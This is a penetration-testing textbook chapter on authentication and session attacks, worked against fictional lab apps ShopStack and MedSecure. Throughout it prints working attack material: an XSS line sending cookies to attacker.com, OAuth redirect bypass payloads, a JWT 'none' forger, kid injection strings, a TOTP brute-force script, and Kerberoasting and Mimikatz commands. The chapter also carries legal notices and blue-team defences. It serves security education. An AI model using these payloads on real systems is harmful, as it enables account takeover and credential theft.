> "Authentication is the front door to every application. If the lock is broken, it doesn't matter how strong the walls are." — OWASP Testing Guide
Learning Objectives
- Understand authentication mechanisms and their common weaknesses
- Identify and exploit session management vulnerabilities
- Perform OAuth 2.0 and OpenID Connect attack techniques
- Analyze and exploit JWT implementation flaws
- Bypass multi-factor authentication using various techniques
- Attack SSO implementations including SAML and Kerberos
- Recommend defensive controls for authentication systems
In This Chapter
- Introduction
- 21.1 Authentication Mechanisms and Their Weaknesses
- 21.2 Session Management Vulnerabilities
- 21.3 OAuth 2.0 and OpenID Connect Attacks
- 21.4 JWT Vulnerabilities
- 21.5 Multi-Factor Authentication Bypass Techniques
- 21.6 SSO Attacks: SAML and Kerberos
- 21.7 Practical Lab: Attacking ShopStack's Authentication
- 21.8 Attacking MedSecure's Patient Portal Authentication
- 21.9 Building Your Home Lab Authentication Test Environment
- 21.10 Remediation Strategies
- 21.11 Summary
- Key Terms
Chapter 21: Authentication and Session Attacks
"Authentication is the front door to every application. If the lock is broken, it doesn't matter how strong the walls are." — OWASP Testing Guide
Introduction
In September 2022, the Lapsus$ hacking group compromised Uber's internal systems — not through a sophisticated zero-day exploit or a novel cryptographic attack, but by repeatedly sending multi-factor authentication push notifications to a contractor's phone at 1:00 AM until the exhausted target finally approved one. This deceptively simple attack bypassed what many organizations consider their strongest security control, demonstrating that authentication security extends far beyond choosing the right algorithm or enforcing password complexity.
Authentication — the process of verifying that a user is who they claim to be — remains the single most critical security boundary in any application. When authentication fails, every downstream security control becomes irrelevant. An attacker who can impersonate a legitimate administrator has no need to find SQL injection vulnerabilities or bypass WAF rules. They simply log in and operate with full privileges.
This chapter examines the full spectrum of authentication and session management attacks that ethical hackers must understand and test. We begin with fundamental authentication mechanisms and their inherent weaknesses, then progress through session management vulnerabilities, OAuth 2.0 and OpenID Connect attack surfaces, JWT implementation flaws, MFA bypass techniques, and SSO attacks targeting SAML and Kerberos. Throughout, we apply these techniques to our ShopStack e-commerce platform, demonstrating how real-world applications fall prey to authentication failures.
⚠️ Legal and Ethical Notice: All techniques described in this chapter must be performed only against systems you own or have explicit written authorization to test. Unauthorized access to computer systems is a criminal offense under the CFAA (US), Computer Misuse Act (UK), and equivalent laws worldwide. Always operate under a signed Rules of Engagement document.
21.1 Authentication Mechanisms and Their Weaknesses
Authentication mechanisms can be broadly categorized by what they verify: something you know (passwords), something you have (tokens, devices), or something you are (biometrics). Each carries distinct attack surfaces that penetration testers must evaluate.
21.1.1 Password-Based Authentication
Despite decades of security research advocating for alternatives, password-based authentication remains the dominant mechanism across web applications. Our ShopStack platform, like most e-commerce sites, relies primarily on username/password combinations for customer accounts.
Common Weaknesses in Password Authentication:
Weak Password Policies. Applications that fail to enforce minimum complexity requirements leave users vulnerable to brute-force and dictionary attacks. During your ShopStack assessment, examine the registration endpoint to determine what passwords the application accepts:
POST /api/v1/auth/register HTTP/1.1
Host: shopstack.local
Content-Type: application/json
{"username": "testuser", "password": "123456", "email": "test@example.com"}
If the application accepts trivially weak passwords, this represents a finding. Document the minimum password requirements (or lack thereof) and test boundaries: single-character passwords, common dictionary words, passwords matching the username, and passwords from known breach lists.
Credential Stuffing. With billions of credentials available from previous data breaches, attackers automate login attempts using username/password pairs from other compromised services. The attack exploits password reuse — studies consistently show that over 60% of users reuse passwords across multiple services.
To test ShopStack's resilience to credential stuffing, examine whether the application implements: - Rate limiting on login endpoints - Account lockout after failed attempts - CAPTCHA or proof-of-work challenges after suspicious activity - IP-based throttling - Detection of automated tools (User-Agent analysis, behavioral biometrics)
# Using Hydra for authorized credential testing
hydra -L usernames.txt -P passwords.txt shopstack.local \
http-post-form "/api/v1/auth/login:username=^USER^&password=^PASS^:Invalid credentials" \
-t 4 -w 30
🔵 Blue Team Perspective: Defend against credential stuffing by implementing rate limiting with exponential backoff, requiring CAPTCHA after 3-5 failed attempts, monitoring for login attempts from known bad IP ranges, and integrating with breach detection services like HaveIBeenPwned's API to reject compromised passwords at registration time.
Username Enumeration. Applications that return different responses for valid versus invalid usernames allow attackers to build a list of legitimate accounts before attempting password attacks. Test ShopStack's login endpoint for enumeration:
POST /api/v1/auth/login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": "wrongpassword"}
Compare the response (status code, response body, response time, headers) when using a known-valid username versus a definitely-invalid username. Subtle differences in error messages ("Invalid password" versus "Invalid username or password"), response timing (hash computation only occurs for valid usernames), and even response size can leak information.
Insecure Password Storage. While you typically cannot directly inspect password storage during a black-box test, look for indicators of poor storage practices: - Password length limits (suggesting truncation or non-hash storage) - Passwords returned in API responses or emails - Password reset that reveals the original password - Case-insensitive password comparison
21.1.2 Token-Based Authentication
Modern web applications increasingly use token-based authentication, where the server issues a bearer token after successful credential verification. The token is then presented with subsequent requests instead of re-submitting credentials.
API Key Authentication. ShopStack's merchant API uses API keys for programmatic access:
GET /api/v1/merchant/orders HTTP/1.1
Host: shopstack.local
X-API-Key: sk_live_a1b2c3d4e5f6g7h8i9j0
Test for these common API key weaknesses: - Keys transmitted over unencrypted HTTP - Keys embedded in client-side code or mobile applications - Keys with excessive permissions (violating least privilege) - No key rotation mechanism - Keys that survive user deactivation - Keys predictable enough to enumerate
Bearer Token Authentication. OAuth 2.0 access tokens and similar bearer tokens authorize requests based solely on token possession. We will cover these extensively in the OAuth section below.
21.1.3 Certificate-Based Authentication
Mutual TLS (mTLS) authentication uses X.509 certificates for both client and server identification. While more secure than password-based authentication, misconfigurations create attack opportunities:
- Accepting self-signed client certificates
- Failing to validate certificate revocation (CRL/OCSP)
- Trusting overly broad Certificate Authorities
- Certificate private key exposure in code repositories
💡 Practical Tip: During your ShopStack assessment, check whether internal microservice-to-microservice communication uses mTLS. Many organizations implement strong authentication at the perimeter but rely on network segmentation alone for internal services — a model that fails completely in compromised environments.
21.2 Session Management Vulnerabilities
Once a user authenticates, the application must maintain state across stateless HTTP requests. Session management — the mechanism that tracks authenticated users — introduces its own category of vulnerabilities that are distinct from authentication flaws.
21.2.1 Session Token Analysis
The security of session management depends heavily on the quality of session tokens. A token must be unpredictable, unique, and resistant to tampering. When testing ShopStack, collect multiple session tokens and analyze them.
Predictable Session Tokens. If session identifiers follow a discernible pattern, an attacker can predict valid tokens for other users. After authenticating to ShopStack, examine the session cookie:
Set-Cookie: SHOPSTACK_SESSION=a7f3b2c1d4e5; Path=/; HttpOnly; Secure
Collect 100+ tokens by repeatedly authenticating and look for: - Sequential patterns (incrementing integers or timestamps) - Insufficient entropy (short tokens, limited character sets) - Embedded information (Base64-encoded user IDs, timestamps) - Algorithmic predictability (time-seeded random number generators)
Use Burp Suite's Sequencer tool to perform statistical analysis on collected tokens. It applies FIPS 140-2 randomness tests including monobit, poker, runs, and serial correlation tests. Tokens should pass all tests with a confidence level indicating at least 128 bits of effective entropy.
Insufficient Token Length. Tokens shorter than 128 bits are vulnerable to brute-force enumeration. Calculate the search space: a 32-character hexadecimal token provides 128 bits of entropy (16^32 = 2^128 possible values), making brute-force infeasible. A 6-digit numeric token provides only ~20 bits (10^6 ≈ 2^20), which can be enumerated in seconds.
21.2.2 Session Fixation
Session fixation attacks occur when an application accepts externally set session identifiers and fails to regenerate them after authentication. The attack proceeds as follows:
- Attacker obtains a valid session token from the application (by visiting the login page)
- Attacker tricks the victim into authenticating using the attacker's session token
- After the victim authenticates, the attacker's token is now associated with the victim's authenticated session
To test ShopStack for session fixation:
# Step 1: Note the session token before login
GET /login HTTP/1.1
Host: shopstack.local
# Response sets: SHOPSTACK_SESSION=attacker_token_123
# Step 2: Authenticate with this token
POST /api/v1/auth/login HTTP/1.1
Host: shopstack.local
Cookie: SHOPSTACK_SESSION=attacker_token_123
Content-Type: application/json
{"username": "victim", "password": "password123"}
# Step 3: Check if the response uses the SAME token or issues a NEW one
If the session token remains unchanged after authentication, the application is vulnerable. The fix is straightforward: invalidate the pre-authentication session and issue a new token immediately upon successful login.
21.2.3 Session Hijacking
Session hijacking involves stealing a valid session token to impersonate an authenticated user. Attack vectors include:
Cross-Site Scripting (XSS). If ShopStack has an XSS vulnerability and session cookies lack the HttpOnly flag, JavaScript can steal the cookie:
// Malicious script injected via XSS
new Image().src = "https://attacker.com/steal?c=" + document.cookie;
Network Sniffing. On unencrypted connections or through man-in-the-middle positions, session tokens transmitted in cleartext can be intercepted. Verify that ShopStack sets the Secure flag on all session cookies and enforces HSTS.
Referer Header Leakage. Session tokens in URLs leak through the Referer header when users click external links. Test whether ShopStack ever places session identifiers in URL parameters.
Examine ShopStack's cookie attributes comprehensively:
Set-Cookie: SHOPSTACK_SESSION=token;
Path=/;
Domain=shopstack.local;
Secure; # Only sent over HTTPS
HttpOnly; # Not accessible to JavaScript
SameSite=Lax; # CSRF protection
Max-Age=3600; # 1-hour expiration
🔵 Blue Team Perspective: Implement defense in depth for session management. Use cryptographically random tokens with at least 128 bits of entropy. Set
HttpOnly,Secure, andSameSitecookie attributes. Regenerate session IDs after authentication, privilege changes, and at regular intervals. Implement absolute and idle session timeouts. Bind sessions to client fingerprints (IP address, User-Agent) as an additional detection layer.
21.2.4 Session Puzzling (Session Variable Overloading)
Session puzzling occurs when an application uses the same session variable for different purposes across different workflows. For example, if a password reset flow stores the target username in the session, and the application's profile page reads the username from the same session variable, an attacker might initiate a password reset for an admin user, then navigate to the profile page to access the admin's profile.
Test ShopStack by mapping all session variables set throughout different application workflows (registration, login, password reset, checkout, profile update) and identifying overlaps.
21.3 OAuth 2.0 and OpenID Connect Attacks
OAuth 2.0 has become the de facto standard for delegated authorization, while OpenID Connect (OIDC) extends it for authentication. ShopStack uses OAuth 2.0 to allow customers to "Sign in with Google" and to authorize third-party merchant applications. Each OAuth flow introduces specific attack surfaces.
21.3.1 Understanding OAuth 2.0 Flows
Before attacking OAuth implementations, you must understand the flows:
Authorization Code Flow (most common for server-side apps):
1. Client redirects user to Authorization Server with response_type=code
2. User authenticates and consents
3. Authorization Server redirects back with authorization code
4. Client exchanges code for access token (server-to-server)
Implicit Flow (deprecated, but still found):
1. Client redirects user to Authorization Server with response_type=token
2. User authenticates and consents
3. Authorization Server redirects back with access token in URL fragment
PKCE Flow (recommended for public clients): - Adds a code verifier/challenge to prevent authorization code interception
21.3.2 Redirect URI Manipulation
The most critical OAuth vulnerability is redirect URI manipulation. If the authorization server does not strictly validate the redirect_uri parameter, an attacker can redirect the authorization code or access token to an attacker-controlled endpoint.
Test ShopStack's OAuth implementation:
# Normal authorization request
GET /oauth/authorize?
response_type=code&
client_id=shopstack_app&
redirect_uri=https://shopstack.local/callback&
scope=openid+profile&
state=random123
Host: auth.shopstack.local
# Test redirect URI manipulation
# 1. Open redirect within the allowed domain
redirect_uri=https://shopstack.local/redirect?url=https://attacker.com
# 2. Subdomain variation
redirect_uri=https://attacker.shopstack.local/callback
# 3. Path traversal
redirect_uri=https://shopstack.local/callback/../../../attacker.com
# 4. Parameter pollution
redirect_uri=https://shopstack.local/callback&redirect_uri=https://attacker.com
# 5. URL encoding tricks
redirect_uri=https://shopstack.local%40attacker.com/callback
# 6. Fragment-based bypass
redirect_uri=https://shopstack.local/callback#@attacker.com
Impact Assessment. In the Authorization Code flow, a stolen authorization code can be exchanged for an access token if the attacker also knows the client secret (or if PKCE is not implemented). In the Implicit flow, the access token is directly exposed in the redirect URL.
21.3.3 State Parameter Attacks
The state parameter in OAuth prevents Cross-Site Request Forgery. When it's missing or predictable, an attacker can:
- Initiate an OAuth flow with their own account on the identity provider
- Capture the callback URL containing their authorization code
- Trick the victim into visiting this callback URL
- The victim's ShopStack account is now linked to the attacker's identity provider account
Test whether ShopStack:
- Includes a state parameter in authorization requests
- Validates the state parameter on callback
- Uses unpredictable values (not timestamps or sequential numbers)
- Binds the state to the user's session
21.3.4 Scope Escalation
Test whether ShopStack's OAuth implementation properly enforces scope restrictions:
# Request elevated scope
GET /oauth/authorize?
response_type=code&
client_id=third_party_app&
redirect_uri=https://thirdparty.com/callback&
scope=openid+profile+admin:write&
state=random123
Can a third-party application request scopes beyond what it was registered for? Can scope be escalated during token refresh? Document any discrepancies between requested and granted scopes.
21.3.5 Token Theft via Referrer
When the Implicit flow is used and the redirect page contains external links or resources, the access token in the URL fragment can leak through the Referer header or through JavaScript running on the page. While browsers typically don't send fragments in Referer headers, JavaScript on the redirect page can access window.location.hash and transmit it.
📊 Industry Data: According to a 2024 analysis of OAuth implementations across 1,000 popular web applications, 23% had at least one misconfiguration in their OAuth flows, with redirect URI validation being the most common weakness (affecting 14% of implementations).
21.4 JWT Vulnerabilities
JSON Web Tokens (JWTs) have become ubiquitous in modern web applications for representing claims between parties. ShopStack uses JWTs as access tokens in its OAuth implementation and for internal service-to-service authentication. While JWTs are well-designed in theory, implementation flaws create severe vulnerabilities.
21.4.1 JWT Structure and Verification
A JWT consists of three Base64URL-encoded parts separated by dots:
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNob3BTdGFjayBVc2VyIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2OTQwMDAwMDB9.
signature_here
Header: {"alg": "RS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "name": "ShopStack User", "role": "user", "iat": 1694000000}
Signature: Cryptographic signature over header and payload
The security of a JWT depends entirely on proper signature verification. The following attacks exploit implementations that fail to verify signatures correctly.
21.4.2 The "none" Algorithm Attack
The most devastating JWT attack exploits implementations that accept the "alg": "none" header, which indicates an unsigned token. This was designed for cases where the token integrity is guaranteed by other means (e.g., mutual TLS), but vulnerable implementations accept it universally.
Attack Procedure:
- Decode an existing JWT from ShopStack
- Modify the header to
{"alg": "none", "typ": "JWT"} - Modify the payload (e.g., change
"role": "user"to"role": "admin") - Encode header and payload as Base64URL
- Construct the token as
header.payload.(empty signature, but the trailing dot is required)
import base64
import json
# Original token payload - modify claims
header = {"alg": "none", "typ": "JWT"}
payload = {
"sub": "1234567890",
"name": "ShopStack User",
"role": "admin", # Escalated from "user"
"iat": 1694000000
}
# Base64URL encode (no padding)
def b64url(data):
return base64.urlsafe_b64encode(
json.dumps(data, separators=(',', ':')).encode()
).rstrip(b'=').decode()
forged_token = f"{b64url(header)}.{b64url(payload)}."
print(forged_token)
Test this against ShopStack:
GET /api/v1/admin/users HTTP/1.1
Host: shopstack.local
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IlNob3BTdGFjayBVc2VyIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjk0MDAwMDAwfQ.
⚠️ Critical Vulnerability: The
nonealgorithm attack is trivially exploitable and results in complete authentication bypass. If ShopStack accepts unsigned tokens, this is a critical finding requiring immediate remediation.
21.4.3 Algorithm Confusion (Key Confusion)
This attack targets applications that use asymmetric algorithms (RS256) but can be tricked into using symmetric algorithms (HS256). The attack exploits a fundamental mismatch:
- RS256: Signs with private key, verifies with public key
- HS256: Signs and verifies with the same secret key
If the attacker knows the server's RSA public key (which is intentionally public), they can:
1. Change the JWT header from RS256 to HS256
2. Sign the modified payload using the RSA public key as the HMAC secret
3. The server, seeing HS256, uses its "verification key" (the public key) as the HMAC secret
4. The signature matches, and the forged token is accepted
# Using jwt_tool for algorithm confusion
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual approach
# 1. Obtain the public key (often available at /.well-known/jwks.json)
# 2. Convert to PEM format if necessary
# 3. Sign modified payload with public key using HMAC-SHA256
Finding the Public Key:
# Standard OIDC discovery
GET /.well-known/openid-configuration HTTP/1.1
Host: auth.shopstack.local
# JWKS endpoint
GET /.well-known/jwks.json HTTP/1.1
Host: auth.shopstack.local
21.4.4 JKU/X5U Header Injection
The jku (JWK Set URL) and x5u (X.509 URL) header parameters tell the server where to fetch the public key for signature verification. If the server fetches keys from attacker-controlled URLs:
- Attacker generates their own RSA key pair
- Hosts the public key at
https://attacker.com/jwks.json - Modifies the JWT header:
{"alg": "RS256", "jku": "https://attacker.com/jwks.json"} - Signs the modified payload with their private key
- The server fetches the attacker's public key and validates the signature
// Attacker-hosted JWKS
{
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"n": "<attacker_public_key_modulus>",
"e": "AQAB"
}]
}
Test whether ShopStack validates the jku URL against an allowlist. Common bypass techniques include:
- Using subdomains: https://auth.shopstack.local.attacker.com/jwks.json
- URL parameter injection: https://auth.shopstack.local/jwks.json?redirect=attacker.com
- Fragment injection and open redirects
21.4.5 Kid (Key ID) Injection
The kid header parameter identifies which key should be used for verification. If the kid value is used in a file path or database query without sanitization, injection attacks are possible:
// Path traversal
{"alg": "HS256", "kid": "../../dev/null", "typ": "JWT"}
// Signs with empty string (contents of /dev/null)
// SQL injection
{"alg": "HS256", "kid": "key1' UNION SELECT 'attacker-secret' -- ", "typ": "JWT"}
// Database returns attacker-controlled secret
21.4.6 JWT Claim Tampering
Even when signature verification is properly implemented, examine whether the application correctly validates all relevant claims:
exp(Expiration): Are expired tokens rejected? What if the claim is removed entirely?nbf(Not Before): Are tokens used before their start time rejected?iss(Issuer): Does the application validate the token issuer?aud(Audience): Can a token issued for one service be replayed against another?- Custom claims: Can
"role": "user"be changed to"role": "admin"if signature verification has a flaw?
🔵 Blue Team Perspective: Defend against JWT attacks by (1) explicitly rejecting the
nonealgorithm and maintaining an allowlist of accepted algorithms, (2) never using the same key for symmetric and asymmetric algorithms, (3) validating thejku/x5uURLs against a strict allowlist, (4) sanitizing thekidparameter, (5) validating all standard claims (exp,nbf,iss,aud), and (6) using established JWT libraries with default-secure configurations.
21.5 Multi-Factor Authentication Bypass Techniques
Multi-factor authentication (MFA) significantly raises the bar for attackers, but it is not impenetrable. Understanding MFA bypass techniques is essential for comprehensive authentication testing.
21.5.1 MFA Fatigue (Push Notification Bombing)
As demonstrated in the Uber breach, MFA fatigue exploits push-based authentication by bombarding the user with approval requests. The attacker already possesses valid credentials (from phishing, stuffing, or other means) and repeatedly triggers MFA prompts until the user approves one — either accidentally, out of frustration, or to stop the notifications.
Testing Methodology: During your authorized assessment, determine whether ShopStack's MFA implementation: - Limits the number of push notifications within a time window - Requires number matching (displaying a code the user must enter) - Implements cooldown periods after declined prompts - Alerts administrators about unusual MFA patterns - Provides user notification of repeated MFA attempts
⚠️ Ethical Consideration: Never actually perform MFA fatigue attacks against real users during a penetration test. This technique causes genuine distress and disruption. Instead, document whether the technical controls to prevent MFA fatigue are in place and demonstrate the risk through documentation and policy review.
21.5.2 SIM Swapping and SMS Interception
SMS-based MFA is the weakest form of second-factor authentication. Attacks include:
SIM Swapping: An attacker convinces the victim's mobile carrier to transfer the phone number to a SIM card the attacker controls. This is a social engineering attack against the carrier, not a technical attack against the application.
SS7 Interception: Vulnerabilities in the Signaling System 7 (SS7) protocol used by telecommunications networks allow attackers to intercept SMS messages. While requiring specialized access, state-level actors and organized crime groups have demonstrated this capability.
Malware-Based Interception: Mobile malware can read SMS messages, including MFA codes, and forward them to attackers.
During testing, document whether ShopStack offers SMS as an MFA option and recommend migration to more secure alternatives (TOTP, FIDO2/WebAuthn).
21.5.3 TOTP Bypass Techniques
Time-based One-Time Passwords (TOTP) generated by apps like Google Authenticator are more secure than SMS but still have attack vectors:
Brute Force. TOTP codes are typically 6 digits (1,000,000 possible values). If the application doesn't rate-limit MFA code entry, brute force is feasible within the 30-second window, especially with parallel requests:
import requests
import concurrent.futures
def try_code(code):
r = requests.post("https://shopstack.local/api/v1/auth/mfa/verify",
json={"code": f"{code:06d}", "session": mfa_session})
return code, r.status_code == 200
# This would require authorization to test
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
futures = {executor.submit(try_code, i): i for i in range(1000000)}
Time Window Manipulation. TOTP implementations typically accept codes from adjacent time windows to account for clock skew. If the application accepts codes from too many windows, the effective brute-force space is reduced.
Secret Key Exposure. The TOTP shared secret is typically displayed as a QR code during setup. If this QR code or the underlying secret is logged, cached, or exposed through application vulnerabilities, the attacker can generate valid codes.
21.5.4 Recovery Code Exploitation
Most MFA implementations provide recovery codes as a fallback mechanism. These codes introduce their own attack surface:
- Are recovery codes stored securely (hashed, not plaintext)?
- Can recovery codes be brute-forced (typically 8-12 alphanumeric characters)?
- Are used recovery codes properly invalidated?
- Can an attacker trigger recovery code regeneration to invalidate the legitimate user's codes?
- Are recovery codes displayed on pages vulnerable to XSS?
21.5.5 MFA Implementation Logic Flaws
Often the most effective MFA bypasses exploit implementation logic rather than cryptographic weaknesses:
Step Skipping. Some applications implement MFA as a separate step after password verification. If the application doesn't enforce the MFA step server-side, an attacker can skip directly to the authenticated area:
# Step 1: Password verification succeeds
POST /api/v1/auth/login
Response: {"status": "mfa_required", "mfa_session": "abc123", "redirect": "/mfa/verify"}
# Instead of completing MFA, directly access the dashboard
GET /api/v1/dashboard
Cookie: session=authenticated_session_from_step1
Response Manipulation. If MFA verification returns a JSON response that the client-side code interprets, changing {"success": false} to {"success": true} might bypass MFA if the server doesn't enforce the check on subsequent requests.
Backup Authentication Bypass. Check whether alternative authentication flows (password reset, account linking, API authentication) bypass MFA entirely.
📊 Industry Data: Microsoft reported in 2023 that MFA blocks 99.9% of automated account compromise attempts. However, targeted attacks against MFA-protected accounts have increased 300% since 2020, with MFA fatigue and adversary-in-the-middle attacks being the most common techniques.
21.6 SSO Attacks: SAML and Kerberos
Single Sign-On (SSO) systems allow users to authenticate once and access multiple applications. While SSO improves usability, it creates a high-value target — compromising the SSO system compromises access to all connected applications.
21.6.1 SAML Attacks
Security Assertion Markup Language (SAML) is widely used for enterprise SSO. ShopStack's enterprise deployment integrates with corporate identity providers using SAML 2.0.
SAML Response Manipulation. SAML assertions are XML documents signed by the Identity Provider (IdP). Attacks target the signature verification process:
XML Signature Wrapping (XSW). This sophisticated attack exploits ambiguity in XML signature verification. The signed element remains intact (so the signature validates), but an additional unsigned element is injected that the application processes instead:
<samlp:Response>
<!-- Original signed assertion (signature validates against this) -->
<Signature>
<SignedInfo>
<Reference URI="#original"/>
</SignedInfo>
</Signature>
<!-- Attacker-injected assertion (application processes this) -->
<saml:Assertion ID="evil">
<saml:Subject>
<saml:NameID>admin@shopstack.local</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
<!-- Original signed assertion moved here -->
<saml:Assertion ID="original">
<saml:Subject>
<saml:NameID>user@shopstack.local</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
There are multiple XSW variants (XSW1 through XSW8), each placing the malicious and original assertions in different relative positions within the XML structure.
SAML Message Tampering. If the SAML response or assertion is not signed, or if signature verification is optional, the attacker can modify any claim:
<!-- Changing the NameID to impersonate another user -->
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
admin@shopstack.local
</saml:NameID>
Replay Attacks. SAML assertions should include a NotOnOrAfter condition and a unique ID to prevent replay. Test whether ShopStack:
- Rejects expired assertions
- Rejects assertions with future NotBefore times
- Tracks and rejects replayed assertion IDs
- Validates the InResponseTo attribute
Comment Injection. Some XML parsers handle comments within element values differently. For instance:
<NameID>admin@shopstack.local<!-- -->.evil.com</NameID>
Some parsers extract admin@shopstack.local.evil.com while others extract admin@shopstack.local. This discrepancy between how the IdP and SP parse the value can be exploited.
21.6.2 Kerberos Attacks
In enterprise environments, Kerberos provides authentication for Windows Active Directory networks. While primarily a network protocol, Kerberos attacks often intersect with web application testing when applications use Windows Integrated Authentication.
Kerberoasting. Service accounts with Service Principal Names (SPNs) are vulnerable to offline password cracking. Any authenticated domain user can request Kerberos service tickets, which are encrypted with the service account's password hash:
# Using Impacket's GetUserSPNs
python3 GetUserSPNs.py shopstack.local/testuser:Password123 \
-request -outputfile kerberoast_hashes.txt
# Crack with Hashcat
hashcat -m 13100 kerberoast_hashes.txt wordlist.txt -r rules/best64.rule
AS-REP Roasting. Accounts with "Do not require Kerberos pre-authentication" enabled are vulnerable to offline cracking without even needing valid credentials:
# Using Impacket
python3 GetNPUsers.py shopstack.local/ -usersfile users.txt \
-format hashcat -outputfile asrep_hashes.txt
Golden and Silver Ticket Attacks. With access to the KRBTGT account hash (Golden Ticket) or a service account hash (Silver Ticket), an attacker can forge Kerberos tickets for any user, including non-existent users with arbitrary privileges. These attacks represent the ultimate persistence mechanism in Active Directory environments.
Pass-the-Ticket (PtT). Kerberos tickets stored in memory can be extracted and reused on other systems:
# Extract tickets from memory using Mimikatz
sekurlsa::tickets /export
# Or using Rubeus
Rubeus.exe dump /nowrap
🔵 Blue Team Perspective: Defend SSO systems by (1) enforcing SAML assertion signature validation with a strict XML canonicalization method, (2) validating all SAML conditions (NotBefore, NotOnOrAfter, Audience), (3) implementing assertion replay detection, (4) using long, random passwords for Kerberos service accounts, (5) deploying Group Managed Service Accounts (gMSAs) to eliminate Kerberoasting risk, (6) monitoring for anomalous Kerberos ticket requests, and (7) regularly rotating the KRBTGT password.
21.7 Practical Lab: Attacking ShopStack's Authentication
Let's bring these techniques together in a structured assessment of ShopStack's authentication and session management.
Lab Environment Setup
# Start the ShopStack lab environment with authentication modules
cd ~/lab/shopstack
docker-compose -f docker-compose-auth-lab.yml up -d
# Verify services
curl -s http://shopstack.local/api/v1/health | jq
curl -s http://auth.shopstack.local/.well-known/openid-configuration | jq
Assessment Phase 1: Session Management
# Collect session tokens for analysis
for i in $(seq 1 100); do
curl -s -c - http://shopstack.local/login | grep SHOPSTACK_SESSION >> tokens.txt
done
# Analyze token entropy
# Feed tokens.txt into Burp Sequencer or use custom analysis
python3 analyze_tokens.py tokens.txt
Assessment Phase 2: OAuth Flow Testing
Using Burp Suite, intercept the OAuth authorization flow:
- Click "Sign in with Google" on ShopStack
- In Burp, modify the
redirect_uriparameter to test various bypasses - Test the
stateparameter — remove it, replace it with a static value - After obtaining an authorization code, attempt to replay it
- Test scope escalation by adding additional scopes to the request
Assessment Phase 3: JWT Analysis
# Extract and analyze JWT tokens
# After authenticating, capture the Authorization header
curl -s -X POST http://shopstack.local/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"username": "testuser", "password": "testpass"}' | jq -r '.token'
# Use jwt_tool for comprehensive testing
python3 jwt_tool.py $JWT_TOKEN -M at # All Tests mode
python3 jwt_tool.py $JWT_TOKEN -X a # Algorithm "none" attack
python3 jwt_tool.py $JWT_TOKEN -X k -pk public.pem # Key confusion
Assessment Phase 4: MFA Testing
# Test MFA enrollment bypass
# 1. Complete password authentication
# 2. Check if MFA can be skipped by directly accessing authenticated endpoints
# 3. Test recovery code generation and usage
# 4. Verify rate limiting on MFA code entry
🧪 Lab Exercise: Complete the full authentication assessment of ShopStack and document your findings using the report template provided in Appendix B. Prioritize findings by severity (Critical/High/Medium/Low/Informational) and include reproduction steps and remediation recommendations for each finding.
21.8 Attacking MedSecure's Patient Portal Authentication
Our secondary running example, the MedSecure patient portal, presents unique authentication challenges due to healthcare regulatory requirements (HIPAA in the US, GDPR in the EU).
Healthcare-Specific Authentication Concerns
# Test password policy compliance
POST /api/v1/patient/register HTTP/1.1
Host: medsecure.local
Content-Type: application/json
{"first_name": "Test", "last_name": "Patient",
"email": "test@patient.com", "password": "Test1234",
"dob": "1990-01-01", "ssn_last4": "1234"}
Healthcare applications must address: - Emergency Access ("Break the Glass"): Mechanisms that allow authorized personnel to bypass normal authentication in emergencies. Test whether this mechanism can be abused. - Audit Trail Integrity: All authentication events must be logged immutably. Verify that authentication logs cannot be tampered with. - Session Timeout Compliance: HIPAA requires automatic logoff after a period of inactivity. Verify that sessions expire appropriately. - Minimum Necessary Access: Authentication should grant the minimum access necessary for the user's role. Test whether role-based access controls are properly implemented.
⚖️ Regulatory Context: Under HIPAA, compromised authentication leading to unauthorized access to Protected Health Information (PHI) constitutes a reportable breach. Organizations face fines of up to $1.9 million per violation category per year, making authentication testing a critical compliance requirement for healthcare organizations.
21.9 Building Your Home Lab Authentication Test Environment
For your Student Home Lab, set up a comprehensive authentication testing environment:
Required Components
# docker-compose-auth-lab.yml
version: '3.8'
services:
juice-shop:
image: bkimminich/juice-shop
ports:
- "3000:3000"
# OWASP Juice Shop - authentication challenges
dvwa:
image: vulnerables/web-dvwa
ports:
- "8080:80"
# Damn Vulnerable Web Application
keycloak:
image: quay.io/keycloak/keycloak:latest
ports:
- "8443:8443"
environment:
KEYCLOAK_ADMIN: admin
KEYCLOAK_ADMIN_PASSWORD: admin
command: start-dev
# OAuth/OIDC/SAML identity provider
webgoat:
image: webgoat/webgoat
ports:
- "8081:8080"
# Authentication lessons
Practice Exercises
- JWT Playground: Use jwt.io and jwt_tool to practice crafting, analyzing, and attacking JWT tokens
- OAuth Lab: Configure Keycloak as an IdP and practice redirect URI manipulation, state parameter attacks, and scope escalation
- Session Analysis: Use Burp Sequencer against DVWA to analyze session token randomness
- Password Cracking: Use Hashcat with common wordlists against captured hashes from your lab environment
21.10 Remediation Strategies
As an ethical hacker, your value extends beyond finding vulnerabilities — you must also recommend effective remediation. Here are key recommendations for authentication and session management:
Authentication Hardening
| Vulnerability | Remediation | Priority |
|---|---|---|
| Weak passwords | Enforce complexity, check breach databases | High |
| Credential stuffing | Rate limiting, CAPTCHA, breached password detection | Critical |
| Username enumeration | Uniform error responses and timing | Medium |
| Missing MFA | Implement FIDO2/WebAuthn or TOTP | Critical |
| SMS-based MFA | Migrate to TOTP or hardware tokens | High |
Session Management Hardening
| Vulnerability | Remediation | Priority |
|---|---|---|
| Predictable tokens | Use cryptographic random generation (min 128 bits) | Critical |
| Session fixation | Regenerate session ID on authentication | High |
| Missing cookie flags | Set HttpOnly, Secure, SameSite | High |
| No session timeout | Implement absolute and idle timeouts | Medium |
